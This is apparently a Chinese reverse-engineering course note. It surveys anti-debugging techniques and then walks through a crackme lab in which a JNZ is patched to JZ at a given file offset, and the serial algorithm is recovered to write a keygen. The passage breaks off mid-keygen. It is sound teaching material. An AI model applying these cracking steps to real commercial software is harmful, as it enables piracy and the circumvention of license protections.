• 使用次数限制

3. 警告窗口

分析工具

1. 静态分析工具

• IDA
• W32Dasm
• lordPE
• Resource Hacker

2. 动态分析工具

• OllyDbg
• WinDbg

对抗分析技术

1. 反静态分析技术

• 花指令
• 自修改代码技术
• 多态技术
• 变形技术
• 虚拟机保护技术

2. 反动态分析技术

• 检测调试状态
• 检测用户态调试器
• 检测内核态调试器
• 其他方法：父进程检测；StartupInfo 结构；时间差；通过Trap Flag检测

3. 发现调试器后的处理

• 程序自身退出
• 向调试器窗口发送消息使调试器退出
• 使调试器窗口不可用
• 终止调试器进程

PE文件格式基础

加壳脱壳

反调试技术

反调试技术，程序用它来识别是否被调试，或者让调试器失效。为了阻止调试器的分析，当程序意识到自己被调试时，它们可能改变正常的执行路径或者修改自身程序让自己崩溃，从而增加调试时间和复杂度。

探测windows调试器

1. 使用windows API
   使用Windows API函数探测调试器是否存在是最简单的反调试技术。
   通常，防止使用API进行反调试的方法有在程序运行期间修改恶意代码，使其不能调用API函数，或修改返回值，确保执行合适的路径，还有挂钩这些函数。
   常用来探测调试器的API函数有：IsDebuggerPresent CheckRemoteDebuggerPresent NtQueryInformationProcess OutputDebuggString
2. 手动检测数据结构
   程序编写者经常手动执行与这些API功能相同的操作

• 检查BeingDebugged属性
• 检测ProcessHeap属性
• 检测NTGlobalFlag

3. 系统痕迹检测
   通常，我们使用调试工具来分析程序，但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹，来确定你是否试图分析它。例如，查找调试器引用的注册表项。同时，程序也可以查找系统的文件和目录，查找当前内存的痕迹，或者查看当前进程列表，更普遍的做法是通过FindWindows来查找调试器。

识别调试器的行为

在逆向工程中，可以使用断点或单步调试来帮助分析，但执行这些操作时，会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。

1. INT扫描
   调试器设置断点的基本机制是用软件中断INT 3，机器码为0xCC，临时替换程序中的一条指令。因此可以通过扫描INT 3修改来检测。
2. 执行代码校验和检查
   与INT扫描目的相同，但仅执行机器码的CRC或MD5校验和检查。
3. 时钟检测
   被调试时，进程的运行速度大大降低，常用指令有：rdstc QueryPerformanceCounter GetTickCount,有如下两种方式探测时钟：

• 记录执行一段操作前后的时间戳
• 记录触发一个异常前后的时间戳

  干扰调试器的功能

  本地存储(TLS)回调：TLS回调被用来在程序入口点执行之前运行代码，这发生在程序刚被加载到调试器时
  使用异常：使用SEH链可以实现异常，程序可以使用异常来破坏或探测调试器，调试器捕获异常后，并不会将处理权立即返回给被调试进程。
  插入中断：插入INT 3、INT 2D、ICE

  调试器漏洞

  PE头漏洞、OutputDebugString漏洞

实验一：软件破解

对象

crack.exe，28.0 KB

• 无保护措施：无壳、未加密、无反调试措施
• 用户名至少要5个字节
• 输入错误验证码时输出：“Bad Boy!”

爆破

查找显示注册结果相关代码

当输入错误验证码时，程序会输出“Bad Boy”，因此我们将程序拖入IDA，以流程图显示函数内部的跳转。查找“Bad Boy”字符串，我们可以定位到显示注册结果的相关代码：

查找注册码验证相关代码

用鼠标选中程序分支点，按空格切换回汇编指令界面

可以看到，这条指令位于PE文件的.text节，并且IDA已经自动将地址转换为运行时的内存地址VA:004010F9

修改程序跳转

• 现在关闭IDA，换用OllyDbg进行动态调试来看看程序时如何分支跳转的Ctrl+G直接跳到由IDA得到的VA:004010F9处查看那条引起程序分支的关键指令
• 选中这条指令，按F2设置断点，再按F9运行程序，这时候控制权会回到程序，OllyDbg暂时挂起。到程序提示输入名字和序列号，随意输入（名字大于五个字节），点击ok后，OllyDbg会重新中断程序，收回控制权，如图：
  

• 验证函数的返回值存于EAX寄存器中，if语句通过以下两条指令执行

  1 2	cmp eax,ecx jnz xxxxxxx

• 也就是说，当序列号输入错误时，EAX中的值为0，跳转将被执行。
  如果我们把jnz这条指令修改为jz，那么整个程序的逻辑就会反过来。
  双击jnz这条指令，将其改为jz，单击”汇编”将其写入内存
  
  可以看到此时程序执行了相反的路径

• 上面只是在内存中修改程序，我们还需要在二进制文件中也修改相应的字节，这里考察VA与文件地址之间的关系

• 用LordPE打开.exe文件，查看PE文件的节信息
  
  根据VA与文件地址的换算公式：

  1 2 3

  文件偏移地址 = VA - Image Base - 节偏移 = 0x004010F9 - 0x00400000 - 0 = 0x10F9

也就是说，这条指令在PE文件中位于10F9字节处，使用010Editer打开crack.exe，将这一字节的75(JNZ)`改为74(JZ)`，保存后重新执行，破解成功！

编写注册机

查找显示注册结果相关代码

通过查找字符串“good boy”等，我们可以找到显示注册结果的相关代码

查找注册码验证相关代码

因为检测密钥是否正确时会将结果返回到EAX寄存器中，因此，在检测密钥前必然会对EAX寄存器清空，由此我们可以找到注册码验证的相关代码。

根据注册码验证代码编写注册机

分析上图算法，按tab键转换为高级语言

1
2
3
4

for ( i = 0; i < v6; v12 = v10 )
  v10 = (v6 + v12) * lpStringa[i++];
if ( (v12 ^ 0xA9F9FA) == atoi(v15) )
  MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);

可以看出，生成注册码主要在for循环中完成，之后将生成的注册码与输入相比较，判断是否正确。
所以，只要能弄明白v6，v12，v10，v15的含义，我们就可以轻松的编写注册机。
打开ollybdg，在进入循环之前设下断点，动态调试程序